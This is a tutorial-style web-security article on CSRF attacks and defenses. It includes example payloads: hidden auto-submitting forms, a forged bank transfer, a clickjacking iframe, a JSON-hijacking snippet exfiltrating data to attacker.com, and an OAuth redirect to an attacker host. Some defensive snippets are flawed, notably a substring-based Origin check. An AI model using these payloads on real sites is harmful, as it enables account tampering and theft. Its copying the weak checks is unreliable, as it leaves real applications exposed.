The harm of CSRF attacks
CSRF (Cross-Site Request Forgery) attack is a method that exploits a user's logged-in identity to perform unintended actions without their knowledge. Attackers induce users to visit malicious pages or click on links, leveraging the browser's automatic credential-carrying mechanism (such as cookies) to send requests to the target website, thereby bypassing authentication.
Core Principles of CSRF Attacks
CSRF attacks rely on the following key conditions:
- The user is logged into the target website: The browser has saved the session credentials (e.g., cookies) of the target website.
- The target website does not verify the request source: The server does not check the
Referer
header or use protective measures like CSRF tokens. - Predictability of requests: The attacker can construct legitimate request parameters (e.g., the API path for modifying a user's email).
Typical attack flow:
sequenceDiagram
User->>Malicious Website: Visits phishing page
Malicious Website->>Target Website: Automatically sends a request carrying the user's cookies
Target Website-->>Malicious Website: Returns the operation result
Analysis of Actual Harm Scenarios
User Data Tampering
Attackers can construct forms to automatically submit changes to user information. For example, modifying the shipping address on an e-commerce platform:
<!-- Hidden form on a malicious page -->
<form action="https://example.com/address/update" method="POST">
<input type="hidden" name="address" value="Attacker's address">
</form>
<script>document.forms[0].submit()</script>
Fund Transfer
For financial applications, this could trigger a transfer operation:
fetch('https://bank.com/transfer', {
method: 'POST',
body: JSON.stringify({amount: 10000, to: 'attacker_account'}),
credentials: 'include' // Automatically carries cookies
})
Privilege Escalation
Combined with XSS, more complex attack chains can be achieved. For example, when an administrator visits a malicious page, it triggers a role change request:
POST /api/user/role/update HTTP/1.1
Host: target.com
Cookie: sessionid=admin_session
Content-Type: application/json
{"user_id":"victim","role":"admin"}
Combined Risks with Other Attack Methods
CSRF + Clickjacking
Induce user clicks via iframe overlays:
<style>
iframe {
opacity: 0;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
</style>
<iframe src="https://example.com/delete-account"></iframe>
CSRF + JSON Hijacking
Target APIs that return JSON data:
Object.prototype.__defineSetter__('secret', function(v){
fetch('https://attacker.com/steal?data='+v)
})
Then induce the user to visit:
<script src="https://api.example.com/user/profile"></script>
Limitations of Defense Measures
Shortcomings of Same-Origin Policy
Although browsers restrict cross-origin AJAX requests, the following methods can still bypass it:
<form>
form submissions- GET requests initiated by tags like
<img src="...">
- 302 redirect requests
SameSite Attribute for Cookies
Setting SameSite=Lax
can defend against some attacks but has compatibility issues:
// Server-side cookie setting
Set-Cookie: session=abc123; SameSite=Lax; Secure
In-Depth Defense Strategies
Double-Submit Verification
The frontend generates a token and places it in both the form and a cookie, and the server compares them:
// Frontend generates a token
const csrfToken = crypto.randomUUID();
document.cookie = `CSRF-TOKEN=${csrfToken}; SameSite=Strict`;
// Include the token in form submissions
<form>
<input type="hidden" name="csrf_token" value="${csrfToken}">
</form>
Secondary Verification for Critical Operations
Sensitive operations require re-authentication:
// Verify payment password before transferring
async function transfer() {
const pwd = prompt('Please enter your payment password');
await verifyPassword(pwd);
// Proceed with the transfer logic
}
Request Header Validation
Check the Origin and Referer headers:
// Express middleware example
app.use((req, res, next) => {
const origin = req.get('Origin');
if (!origin.includes('trusted.com')) {
return res.status(403).send('Invalid request source');
}
next();
});
Protection Mechanisms in Modern Frameworks
CSRF Protection in React
Combine with Axios interceptors to automatically add tokens:
axios.interceptors.request.use(config => {
config.headers['X-CSRF-TOKEN'] = getCookie('csrfToken');
return config;
});
Angular's HttpClient
Enables XSRF protection by default:
// angular.module.ts
@NgModule({
providers: [
{ provide: HTTP_INTERCEPTORS, useClass: HttpXsrfInterceptor, multi: true }
]
})
Case Studies of Actual Vulnerabilities
Historical GitHub Vulnerability (2018)
Triggering CSRF via the <link rel="prerender">
tag:
<!-- Could execute logout operation -->
<link rel="prerender" href="https://github.com/logout">
OAuth Authorization Hijacking
Malicious websites construct authorization callbacks:
https://oauth.provider.com/authorize?
response_type=code&
client_id=legitimate_client&
redirect_uri=https://attacker.com/callback
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn